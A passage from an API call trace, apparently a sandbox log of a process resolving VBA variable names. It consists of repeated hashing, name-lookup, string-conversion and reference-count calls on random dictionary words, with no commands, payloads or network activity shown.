(syskind=0x3, lcid=0x409, szName="prosy") returned 0x10109e [0018.164] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_prosy") returned 0x30d4ce [0018.164] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.164] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.164] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="helioscope") returned 0x10dbaa [0018.164] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xb, _Src="helioscope" | out: _Dst="helioscope") returned 0x0 [0018.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=11, lpWideCharStr=0x263750, cchWideChar=11 | out: lpWideCharStr="helioscope") returned 11 [0018.164] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.164] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="helioscope", lHashVal=0x10dbaa, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.164] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.164] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.164] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="helioscope", lHashVal=0x10dbaa, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.164] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.164] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.164] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="helioscope", lHashVal=0x10dbaa, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.164] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.164] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.164] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="helioscope", lHashVal=0x10dbaa, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.164] IUnknown:Release (This=0x7479720) returned 0x5 [0018.164] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="helioscope") returned 0x10dbaa [0018.165] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_helioscope") returned 0x3049d5 [0018.165] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.165] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754fb74, cbMultiByte=16, lpWideCharStr=0xbee2c3c, cchWideChar=34 | out: lpWideCharStr="antiinflammatory") returned 16 [0018.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="undemonstrable") returned 0x10c2d4 [0018.165] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xf, _Src="undemonstrable" | out: _Dst="undemonstrable") returned 0x0 [0018.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=15, lpWideCharStr=0x263750, cchWideChar=15 | out: lpWideCharStr="undemonstrable") returned 15 [0018.165] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.165] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="undemonstrable", lHashVal=0x10c2d4, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.165] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.165] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.165] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="undemonstrable", lHashVal=0x10c2d4, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.165] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.165] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.165] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="undemonstrable", lHashVal=0x10c2d4, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.165] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.165] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.165] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="undemonstrable", lHashVal=0x10c2d4, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.165] IUnknown:Release (This=0x7479720) returned 0x5 [0018.165] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.165] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="undemonstrable") returned 0x10c2d4 [0018.165] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_undemonstrable") returned 0x305a24 [0018.165] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.165] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754fb8c, cbMultiByte=10, lpWideCharStr=0xbee2e92, cchWideChar=22 | out: lpWideCharStr="flacourtia") returned 10 [0018.166] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="distemper") returned 0x109368 [0018.166] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="distemper" | out: _Dst="distemper") returned 0x0 [0018.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="distemper") returned 10 [0018.166] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.166] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="distemper", lHashVal=0x109368, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.166] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.166] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.166] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="distemper", lHashVal=0x109368, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.166] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.166] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.166] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="distemper", lHashVal=0x109368, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.166] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.166] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.166] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="distemper", lHashVal=0x109368, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.166] IUnknown:Release (This=0x7479720) returned 0x5 [0018.166] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.166] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="distemper") returned 0x109368 [0018.166] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_distemper") returned 0x309cad [0018.166] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.166] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.166] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="scourer") returned 0x10e509 [0018.167] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x8, _Src="scourer" | out: _Dst="scourer") returned 0x0 [0018.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=8, lpWideCharStr=0x263750, cchWideChar=8 | out: lpWideCharStr="scourer") returned 8 [0018.167] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.167] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="scourer", lHashVal=0x10e509, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.167] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.167] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.167] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="scourer", lHashVal=0x10e509, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.167] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.167] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.167] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="scourer", lHashVal=0x10e509, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.167] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.167] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.167] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="scourer", lHashVal=0x10e509, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.167] IUnknown:Release (This=0x7479720) returned 0x5 [0018.167] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.167] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="scourer") returned 0x10e509 [0018.167] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_scourer") returned 0x30e88d [0018.167] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.167] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.167] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="catamenial") returned 0x10be49 [0018.167] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xb, _Src="catamenial" | out: _Dst="catamenial") returned 0x0 [0018.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=11, lpWideCharStr=0x263750, cchWideChar=11 | out: lpWideCharStr="catamenial") returned 11 [0018.167] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.167] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="catamenial", lHashVal=0x10be49, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.167] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.167] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.167] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="catamenial", lHashVal=0x10be49, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.167] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.167] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.167] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="catamenial", lHashVal=0x10be49, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.167] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.167] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.167] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="catamenial", lHashVal=0x10be49, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.167] IUnknown:Release (This=0x7479720) returned 0x5 [0018.168] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.168] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="catamenial") returned 0x10be49 [0018.168] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_catamenial") returned 0x302c74 [0018.168] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.168] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.168] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="guyana") returned 0x10b839 [0018.168] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x7, _Src="guyana" | out: _Dst="guyana") returned 0x0 [0018.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=7, lpWideCharStr=0x263750, cchWideChar=7 | out: lpWideCharStr="guyana") returned 7 [0018.168] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.168] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="guyana", lHashVal=0x10b839, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.168] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.168] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.168] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="guyana", lHashVal=0x10b839, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.168] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.168] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.168] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="guyana", lHashVal=0x10b839, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.168] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.168] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.168] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="guyana", lHashVal=0x10b839, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.168] IUnknown:Release (This=0x7479720) returned 0x5 [0018.168] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.168] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="guyana") returned 0x10b839 [0018.168] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_guyana") returned 0x30495a [0018.168] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.168] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.169] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="parquetry") returned 0x10849a [0018.169] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="parquetry" | out: _Dst="parquetry") returned 0x0 [0018.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="parquetry") returned 10 [0018.169] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.169] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="parquetry", lHashVal=0x10849a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.169] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.169] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.169] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="parquetry", lHashVal=0x10849a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.169] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.169] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.169] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="parquetry", lHashVal=0x10849a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.169] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.169] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.169] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="parquetry", lHashVal=0x10849a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.169] IUnknown:Release (This=0x7479720) returned 0x5 [0018.169] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.169] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="parquetry") returned 0x10849a [0018.169] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_parquetry") returned 0x307e62 [0018.169] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.169] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.169] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xbf00000 [0018.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754fbfc, cbMultiByte=5, lpWideCharStr=0xbf0089c, cchWideChar=12 | out: lpWideCharStr="pengo") returned 5 [0018.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="anacanthini") returned 0x10e355 [0018.170] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xc, _Src="anacanthini" | out: _Dst="anacanthini") returned 0x0 [0018.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=12, lpWideCharStr=0x263750, cchWideChar=12 | out: lpWideCharStr="anacanthini") returned 12 [0018.170] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.170] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="anacanthini", lHashVal=0x10e355, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.170] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.170] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.170] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="anacanthini", lHashVal=0x10e355, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.170] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.170] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.170] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="anacanthini", lHashVal=0x10e355, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.170] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.170] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.170] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="anacanthini", lHashVal=0x10e355, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.170] IUnknown:Release (This=0x7479720) returned 0x5 [0018.171] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="anacanthini") returned 0x10e355 [0018.171] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_anacanthini") returned 0x30d4b7 [0018.171] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.171] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="upanishad") returned 0x100f93 [0018.171] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="upanishad" | out: _Dst="upanishad") returned 0x0 [0018.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="upanishad") returned 10 [0018.171] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.171] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="upanishad", lHashVal=0x100f93, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.171] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.171] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.171] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="upanishad", lHashVal=0x100f93, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.171] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.171] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.171] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="upanishad", lHashVal=0x100f93, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.171] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.171] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.171] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="upanishad", lHashVal=0x100f93, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.171] IUnknown:Release (This=0x7479720) returned 0x5 [0018.171] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="upanishad") returned 0x100f93 [0018.171] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_upanishad") returned 0x3018d8 [0018.171] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.172] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ataractic") returned 0x107844 [0018.172] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="ataractic" | out: _Dst="ataractic") returned 0x0 [0018.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="ataractic") returned 10 [0018.172] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.172] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="ataractic", lHashVal=0x107844, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.172] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.172] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.172] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="ataractic", lHashVal=0x107844, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.172] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.172] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.172] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="ataractic", lHashVal=0x107844, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.172] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.172] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.172] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="ataractic", lHashVal=0x107844, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.172] IUnknown:Release (This=0x7479720) returned 0x5 [0018.172] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ataractic") returned 0x107844 [0018.172] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_ataractic") returned 0x308189 [0018.172] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.172] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754fc14, cbMultiByte=10, lpWideCharStr=0xbf00cd4, cchWideChar=22 | out: lpWideCharStr="nucleotide") returned 10 [0018.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="confrication") returned 0x1012b4 [0018.172] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xd, _Src="confrication" | out: _Dst="confrication") returned 0x0 [0018.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=13, lpWideCharStr=0x263750, cchWideChar=13 | out: lpWideCharStr="confrication") returned 13 [0018.172] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.172] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="confrication", lHashVal=0x1012b4, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.172] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.172] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.172] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="confrication", lHashVal=0x1012b4, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.172] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.172] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.172] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="confrication", lHashVal=0x1012b4, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.173] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.173] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.173] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="confrication", lHashVal=0x1012b4, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.173] IUnknown:Release (This=0x7479720) returned 0x5 [0018.173] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="confrication") returned 0x1012b4 [0018.173] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_confrication") returned 0x304c10 [0018.173] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.173] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754fc2c, cbMultiByte=7, lpWideCharStr=0xbf00f1e, cchWideChar=16 | out: lpWideCharStr="jewfish") returned 7 [0018.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="loaves") returned 0x10bbb5 [0018.173] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x7, _Src="loaves" | out: _Dst="loaves") returned 0x0 [0018.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=7, lpWideCharStr=0x263750, cchWideChar=7 | out: lpWideCharStr="loaves") returned 7 [0018.173] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.173] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="loaves", lHashVal=0x10bbb5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.173] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.173] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.173] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="loaves", lHashVal=0x10bbb5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.173] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.173] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.173] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="loaves", lHashVal=0x10bbb5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.173] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.173] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.173] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="loaves", lHashVal=0x10bbb5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.173] IUnknown:Release (This=0x7479720) returned 0x5 [0018.173] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="loaves") returned 0x10bbb5 [0018.174] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_loaves") returned 0x30361f [0018.174] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.174] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="gladdened") returned 0x1092a3 [0018.174] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="gladdened" | out: _Dst="gladdened") returned 0x0 [0018.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="gladdened") returned 10 [0018.174] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.174] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="gladdened", lHashVal=0x1092a3, pfName=0x2638a8, 